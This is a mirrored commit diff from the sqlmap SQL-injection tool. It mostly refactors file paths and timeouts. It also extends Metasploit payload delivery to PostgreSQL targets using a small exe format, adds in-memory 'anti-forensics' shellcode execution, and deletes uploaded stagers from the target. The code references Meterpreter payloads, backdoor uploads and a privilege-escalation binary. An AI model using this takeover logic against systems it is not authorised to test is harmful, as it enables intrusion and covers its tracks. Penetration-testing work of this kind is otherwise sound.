mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-02-03 13:14:13 +03:00
sqlmap 0.8-rc2: minor enhancement based on msfencode 3.3.3-dev -t exe-small so that also PostgreSQL supports again the out-of-band via Metasploit payload stager optionally to shellcode execution in-memory via sys_bineval() UDF. Speed up OOB connect back. Cleanup target file system after --os-pwn too. Minor bug fix to correctly forge file system paths with os.path.join() all around. Minor code refactoring and user's manual update.
This commit is contained in:
parent
a605980d66
commit
e4e081cdc6
|
@ -51,7 +51,7 @@ sqlmap relies on the <htmlurl url="http://metasploit.com/framework/"
|
||||||
name="Metasploit Framework"> for some of its post-exploitation takeover
|
name="Metasploit Framework"> for some of its post-exploitation takeover
|
||||||
functionalities. You need to grab a copy of it from the
|
functionalities. You need to grab a copy of it from the
|
||||||
<htmlurl url="http://metasploit.com/framework/download/" name="download">
|
<htmlurl url="http://metasploit.com/framework/download/" name="download">
|
||||||
page. The required version is <bf>3.3</bf> or above.
|
page. The required version is <bf>3.3.3</bf> or above.
|
||||||
|
|
||||||
Optionally, if you are running sqlmap on Windows, you may wish to install
|
Optionally, if you are running sqlmap on Windows, you may wish to install
|
||||||
<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline">
|
<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline">
|
||||||
|
@ -4356,7 +4356,7 @@ PostgreSQL and Microsoft SQL Server.
|
||||||
sqlmap relies on the <htmlurl url="http://metasploit.com/framework"
|
sqlmap relies on the <htmlurl url="http://metasploit.com/framework"
|
||||||
name="Metasploit"> to perform this attack, so you need to have it already
|
name="Metasploit"> to perform this attack, so you need to have it already
|
||||||
on your system: it's free and can be downloaded from the homepage. It is
|
on your system: it's free and can be downloaded from the homepage. It is
|
||||||
required to use Metasploit Framework version 3.3 or above.
|
required to use Metasploit Framework version 3.3.3 or above.
|
||||||
|
|
||||||
<p>
|
<p>
|
||||||
Note that this feature is not supported by sqlmap running on Windows
|
Note that this feature is not supported by sqlmap running on Windows
|
||||||
|
|
|
@ -560,27 +560,27 @@ def cleanQuery(query):
|
||||||
|
|
||||||
def setPaths():
|
def setPaths():
|
||||||
# sqlmap paths
|
# sqlmap paths
|
||||||
paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
|
||||||
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell")
|
||||||
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt")
|
||||||
paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf")
|
||||||
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml")
|
||||||
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
|
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
|
||||||
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output")
|
||||||
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
|
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||||
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
|
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||||
|
|
||||||
# sqlmap files
|
# sqlmap files
|
||||||
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history")
|
||||||
paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr())
|
paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
|
||||||
paths.FUZZ_VECTORS = "%s/fuzz_vectors.txt" % paths.SQLMAP_TXT_PATH
|
paths.FUZZ_VECTORS = os.path.join(paths.SQLMAP_TXT_PATH, "fuzz_vectors.txt")
|
||||||
paths.ERRORS_XML = "%s/errors.xml" % paths.SQLMAP_XML_PATH
|
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
||||||
paths.QUERIES_XML = "%s/queries.xml" % paths.SQLMAP_XML_PATH
|
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
||||||
paths.GENERIC_XML = "%s/generic.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
||||||
paths.MSSQL_XML = "%s/mssql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
||||||
paths.MYSQL_XML = "%s/mysql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
|
||||||
paths.ORACLE_XML = "%s/oracle.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
|
||||||
paths.PGSQL_XML = "%s/postgresql.xml" % paths.SQLMAP_XML_BANNER_PATH
|
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
|
||||||
|
|
||||||
|
|
||||||
def weAreFrozen():
|
def weAreFrozen():
|
||||||
|
@ -845,7 +845,7 @@ def searchEnvPath(fileName):
|
||||||
|
|
||||||
for envPath in envPaths:
|
for envPath in envPaths:
|
||||||
envPath = envPath.replace(";", "")
|
envPath = envPath.replace(";", "")
|
||||||
result = os.path.exists(os.path.normpath("%s/%s" % (envPath, fileName)))
|
result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
|
||||||
|
|
||||||
if result == True:
|
if result == True:
|
||||||
break
|
break
|
||||||
|
|
|
@ -325,10 +325,10 @@ def __setMetasploit():
|
||||||
|
|
||||||
if conf.msfPath:
|
if conf.msfPath:
|
||||||
condition = os.path.exists(os.path.normpath(conf.msfPath))
|
condition = os.path.exists(os.path.normpath(conf.msfPath))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfcli")))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfconsole")))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfencode")))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfpayload")))
|
||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
debugMsg = "provided Metasploit Framework 3 path "
|
debugMsg = "provided Metasploit Framework 3 path "
|
||||||
|
@ -364,10 +364,10 @@ def __setMetasploit():
|
||||||
for envPath in envPaths:
|
for envPath in envPaths:
|
||||||
envPath = envPath.replace(";", "")
|
envPath = envPath.replace(";", "")
|
||||||
condition = os.path.exists(os.path.normpath(envPath))
|
condition = os.path.exists(os.path.normpath(envPath))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfcli")))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfconsole")))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfencode")))
|
||||||
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath))
|
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfpayload")))
|
||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
infoMsg = "Metasploit Framework 3 has been found "
|
infoMsg = "Metasploit Framework 3 has been found "
|
||||||
|
|
|
@ -30,7 +30,7 @@ import sys
|
||||||
|
|
||||||
|
|
||||||
# sqlmap version and site
|
# sqlmap version and site
|
||||||
VERSION = "0.8-rc1"
|
VERSION = "0.8-rc2"
|
||||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||||
SITE = "http://sqlmap.sourceforge.net"
|
SITE = "http://sqlmap.sourceforge.net"
|
||||||
|
|
||||||
|
|
|
@ -24,6 +24,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
|
|
||||||
from lib.core.common import checkFile
|
from lib.core.common import checkFile
|
||||||
|
@ -46,13 +48,13 @@ def headersParser(headers):
|
||||||
kb.headersCount += 1
|
kb.headersCount += 1
|
||||||
|
|
||||||
topHeaders = {
|
topHeaders = {
|
||||||
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
|
||||||
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
|
||||||
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
|
||||||
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"),
|
||||||
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
|
||||||
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
|
||||||
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml")
|
||||||
}
|
}
|
||||||
|
|
||||||
for header in headers:
|
for header in headers:
|
||||||
|
|
|
@ -85,6 +85,9 @@ class Connect:
|
||||||
else:
|
else:
|
||||||
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
|
||||||
|
|
||||||
|
if silent is True:
|
||||||
|
socket.setdefaulttimeout(3)
|
||||||
|
|
||||||
if direct:
|
if direct:
|
||||||
if "?" in url:
|
if "?" in url:
|
||||||
url, params = url.split("?")
|
url, params = url.split("?")
|
||||||
|
@ -202,7 +205,7 @@ class Connect:
|
||||||
|
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
if silent == True:
|
if silent is True:
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
elif conf.retriesCount < conf.retries:
|
elif conf.retriesCount < conf.retries:
|
||||||
|
@ -213,11 +216,15 @@ class Connect:
|
||||||
|
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
return Connect.__getPageProxy(url=url, get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart, silent=silent)
|
return Connect.__getPageProxy(url=url, get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart, silent=silent)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
raise sqlmapConnectionException, warnMsg
|
raise sqlmapConnectionException, warnMsg
|
||||||
|
|
||||||
|
socket.setdefaulttimeout(conf.timeout)
|
||||||
|
|
||||||
parseResponse(page, responseHeaders)
|
parseResponse(page, responseHeaders)
|
||||||
responseMsg += "(%s - %d):\n" % (status, code)
|
responseMsg += "(%s - %d):\n" % (status, code)
|
||||||
|
|
||||||
|
|
|
@ -73,16 +73,16 @@ class Metasploit:
|
||||||
self.localIP = getLocalIP()
|
self.localIP = getLocalIP()
|
||||||
self.remoteIP = getRemoteIP()
|
self.remoteIP = getRemoteIP()
|
||||||
|
|
||||||
self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath)
|
self.__msfCli = os.path.normpath(os.path.join(conf.msfPath, "msfcli"))
|
||||||
self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath)
|
self.__msfConsole = os.path.normpath(os.path.join(conf.msfPath, "msfconsole"))
|
||||||
self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath)
|
self.__msfEncode = os.path.normpath(os.path.join(conf.msfPath, "msfencode"))
|
||||||
self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath)
|
self.__msfPayload = os.path.normpath(os.path.join(conf.msfPath, "msfpayload"))
|
||||||
|
|
||||||
self.__msfPayloadsList = {
|
self.__msfPayloadsList = {
|
||||||
"windows": {
|
"windows": {
|
||||||
1: ( "Meterpreter (default)", "windows/meterpreter" ),
|
1: ( "Meterpreter (default)", "windows/meterpreter" ),
|
||||||
3: ( "Shell", "windows/shell" ),
|
2: ( "Shell", "windows/shell" ),
|
||||||
4: ( "VNC", "windows/vncinject" ),
|
3: ( "VNC", "windows/vncinject" ),
|
||||||
},
|
},
|
||||||
"linux": {
|
"linux": {
|
||||||
1: ( "Shell", "linux/x86/shell" ),
|
1: ( "Shell", "linux/x86/shell" ),
|
||||||
|
@ -254,7 +254,7 @@ class Metasploit:
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
elif askChurrasco == False:
|
elif askChurrasco is False:
|
||||||
logger.warn("beware that the VNC injection might not work")
|
logger.warn("beware that the VNC injection might not work")
|
||||||
|
|
||||||
break
|
break
|
||||||
|
@ -361,7 +361,7 @@ class Metasploit:
|
||||||
|
|
||||||
|
|
||||||
def __forgeMsfConsoleResource(self):
|
def __forgeMsfConsoleResource(self):
|
||||||
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
|
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
|
||||||
|
|
||||||
self.__prepareIngredients(encode=False, askChurrasco=False)
|
self.__prepareIngredients(encode=False, askChurrasco=False)
|
||||||
|
|
||||||
|
@ -542,7 +542,7 @@ class Metasploit:
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.__randStr = randomStr(lowercase=True)
|
self.__randStr = randomStr(lowercase=True)
|
||||||
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
self.__shellcodeFilePath = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
|
||||||
|
|
||||||
self.__initVars()
|
self.__initVars()
|
||||||
self.__prepareIngredients(encode=encode, askChurrasco=False)
|
self.__prepareIngredients(encode=encode, askChurrasco=False)
|
||||||
|
@ -592,10 +592,20 @@ class Metasploit:
|
||||||
self.__randStr = randomStr(lowercase=True)
|
self.__randStr = randomStr(lowercase=True)
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
|
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s.exe" % self.__randStr)
|
||||||
self.__fileFormat = "exe"
|
|
||||||
|
# Metasploit developers added support for the old exe format
|
||||||
|
# to msfencode using '-t exe-small' (>= 3.3.3-dev),
|
||||||
|
# http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
|
||||||
|
# This is useful for sqlmap because on PostgreSQL it is not
|
||||||
|
# possible to write files bigger than 8192 bytes abusing the
|
||||||
|
# lo_export() feature implemented in sqlmap.
|
||||||
|
if kb.dbms == "PostgreSQL":
|
||||||
|
self.__fileFormat = "exe-small"
|
||||||
|
else:
|
||||||
|
self.__fileFormat = "exe"
|
||||||
else:
|
else:
|
||||||
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
|
||||||
self.__fileFormat = "elf"
|
self.__fileFormat = "elf"
|
||||||
|
|
||||||
if initialize == True:
|
if initialize == True:
|
||||||
|
@ -614,7 +624,7 @@ class Metasploit:
|
||||||
payloadStderr = process.communicate()[1]
|
payloadStderr = process.communicate()[1]
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
|
||||||
else:
|
else:
|
||||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||||
|
|
||||||
|
@ -623,10 +633,18 @@ class Metasploit:
|
||||||
if payloadSize:
|
if payloadSize:
|
||||||
payloadSize = payloadSize.group(1)
|
payloadSize = payloadSize.group(1)
|
||||||
exeSize = os.path.getsize(self.exeFilePathLocal)
|
exeSize = os.path.getsize(self.exeFilePathLocal)
|
||||||
packedSize = upx.pack(self.exeFilePathLocal)
|
|
||||||
|
# Only pack the payload stager if the back-end DBMS is not
|
||||||
|
# PostgreSQL because for this DBMS, sqlmap uses the
|
||||||
|
# Metasploit's old exe format
|
||||||
|
if self.__fileFormat != "exe-small":
|
||||||
|
packedSize = upx.pack(self.exeFilePathLocal)
|
||||||
|
else:
|
||||||
|
packedSize = None
|
||||||
|
|
||||||
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
||||||
|
|
||||||
if packedSize and packedSize != exeSize:
|
if packedSize and packedSize < exeSize:
|
||||||
debugMsg += "as a compressed portable executable its size "
|
debugMsg += "as a compressed portable executable its size "
|
||||||
debugMsg += "is %d bytes, decompressed it " % packedSize
|
debugMsg += "is %d bytes, decompressed it " % packedSize
|
||||||
debugMsg += "was %s bytes large" % exeSize
|
debugMsg += "was %s bytes large" % exeSize
|
||||||
|
@ -666,6 +684,9 @@ class Metasploit:
|
||||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
if goUdf is False:
|
||||||
|
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
|
||||||
|
|
||||||
|
|
||||||
def smb(self):
|
def smb(self):
|
||||||
self.__initVars()
|
self.__initVars()
|
||||||
|
|
|
@ -45,7 +45,7 @@ class Registry:
|
||||||
|
|
||||||
self.__randStr = randomStr(lowercase=True)
|
self.__randStr = randomStr(lowercase=True)
|
||||||
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
|
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
|
||||||
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr)
|
self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
|
||||||
|
|
||||||
if parse == True:
|
if parse == True:
|
||||||
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||||
|
@ -108,7 +108,7 @@ class Registry:
|
||||||
|
|
||||||
data = self.evalCmd(self.__batPathRemote, first)
|
data = self.evalCmd(self.__batPathRemote, first)
|
||||||
|
|
||||||
self.delRemoteTempFile(self.__batPathRemote, bat=True)
|
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
@ -124,7 +124,7 @@ class Registry:
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||||
self.delRemoteTempFile(self.__batPathRemote, bat=True)
|
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||||
|
|
||||||
|
|
||||||
def delRegKey(self, regKey, regValue):
|
def delRegKey(self, regKey, regValue):
|
||||||
|
@ -138,4 +138,4 @@ class Registry:
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
|
||||||
self.delRemoteTempFile(self.__batPathRemote, bat=True)
|
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||||
|
|
|
@ -52,7 +52,7 @@ class UPX:
|
||||||
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
|
self.__upxPath = "%s/upx/macosx/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
elif "win" in PLATFORM:
|
elif "win" in PLATFORM:
|
||||||
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
self.__upxPath = "%s\upx\windows\upx.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
|
||||||
elif "linux" in PLATFORM:
|
elif "linux" in PLATFORM:
|
||||||
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
|
||||||
|
@ -80,17 +80,17 @@ class UPX:
|
||||||
pollProcess(process)
|
pollProcess(process)
|
||||||
upxStdout, upxStderr = process.communicate()
|
upxStdout, upxStderr = process.communicate()
|
||||||
|
|
||||||
warnMsg = "failed to compress the file"
|
msg = "failed to compress the file"
|
||||||
|
|
||||||
if "NotCompressibleException" in upxStdout:
|
if "NotCompressibleException" in upxStdout:
|
||||||
warnMsg += " because you provided a Metasploit version above "
|
msg += " because you provided a Metasploit version above "
|
||||||
warnMsg += "3.3-dev revision 6681. This will not inficiate "
|
msg += "3.3-dev revision 6681. This will not inficiate "
|
||||||
warnMsg += "the correct execution of sqlmap. It might "
|
msg += "the correct execution of sqlmap. It might "
|
||||||
warnMsg += "only slow down a bit the execution of sqlmap"
|
msg += "only slow down a bit the execution"
|
||||||
logger.info(warnMsg)
|
logger.debug(msg)
|
||||||
|
|
||||||
elif upxStderr:
|
elif upxStderr:
|
||||||
logger.warn(warnMsg)
|
logger.warn(msg)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
return os.path.getsize(srcFile)
|
return os.path.getsize(srcFile)
|
||||||
|
|
|
@ -144,7 +144,7 @@ class xp_cmdshell:
|
||||||
|
|
||||||
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
|
||||||
|
|
||||||
self.delRemoteTempFile(tmpFile)
|
self.delRemoteFile(tmpFile)
|
||||||
|
|
||||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
|
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False, firstChar=first, lastChar=last)
|
||||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||||
|
|
|
@ -73,11 +73,11 @@ class Miscellaneous:
|
||||||
setRemoteTempPath()
|
setRemoteTempPath()
|
||||||
|
|
||||||
|
|
||||||
def delRemoteTempFile(self, tempFile, bat=False):
|
def delRemoteFile(self, tempFile, doubleslash=False):
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
if bat is True:
|
if doubleslash is True:
|
||||||
tempFile = tempFile.replace("/", "\\\\")
|
tempFile = tempFile.replace("/", "\\\\")
|
||||||
else:
|
else:
|
||||||
tempFile = tempFile.replace("/", "\\")
|
tempFile = tempFile.replace("/", "\\")
|
||||||
|
|
|
@ -163,9 +163,9 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
logger.warn("invalid value, it must be 1 or 3")
|
logger.warn("invalid value, it must be 1 or 3")
|
||||||
|
|
||||||
backdoorName = "backdoor.%s" % language
|
backdoorName = "backdoor.%s" % language
|
||||||
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
|
backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName)
|
||||||
uploaderName = "uploader.%s" % language
|
uploaderName = "uploader.%s" % language
|
||||||
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
|
uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName))
|
||||||
|
|
||||||
for directory in directories:
|
for directory in directories:
|
||||||
# Upload the uploader agent
|
# Upload the uploader agent
|
||||||
|
@ -250,7 +250,7 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
|
|
||||||
if not output or output[0] in ( "y", "Y" ):
|
if not output or output[0] in ( "y", "Y" ):
|
||||||
# TODO: add also compiled/packed Churrasco for Windows 2008
|
# TODO: add also compiled/packed Churrasco for Windows 2008
|
||||||
wFile = "%s/tokenkidnapping/Churrasco.exe" % paths.SQLMAP_CONTRIB_PATH
|
wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe")
|
||||||
|
|
||||||
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
|
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
|
||||||
self.cmdFromChurrasco = True
|
self.cmdFromChurrasco = True
|
||||||
|
@ -307,7 +307,7 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
|
|
||||||
goUdf = False
|
goUdf = False
|
||||||
|
|
||||||
if kb.dbms == "MySQL":
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
msg = "how do you want to execute the Metasploit shellcode "
|
msg = "how do you want to execute the Metasploit shellcode "
|
||||||
msg += "on the back-end database underlying operating system?"
|
msg += "on the back-end database underlying operating system?"
|
||||||
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
||||||
|
@ -330,9 +330,6 @@ class Takeover(Abstraction, Metasploit, Registry):
|
||||||
if choice == 1:
|
if choice == 1:
|
||||||
goUdf = True
|
goUdf = True
|
||||||
|
|
||||||
elif kb.dbms == "PostgreSQL":
|
|
||||||
goUdf = True
|
|
||||||
|
|
||||||
if goUdf is True:
|
if goUdf is True:
|
||||||
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
||||||
else:
|
else:
|
||||||
|
|
Loading…
Reference in New Issue
Block a user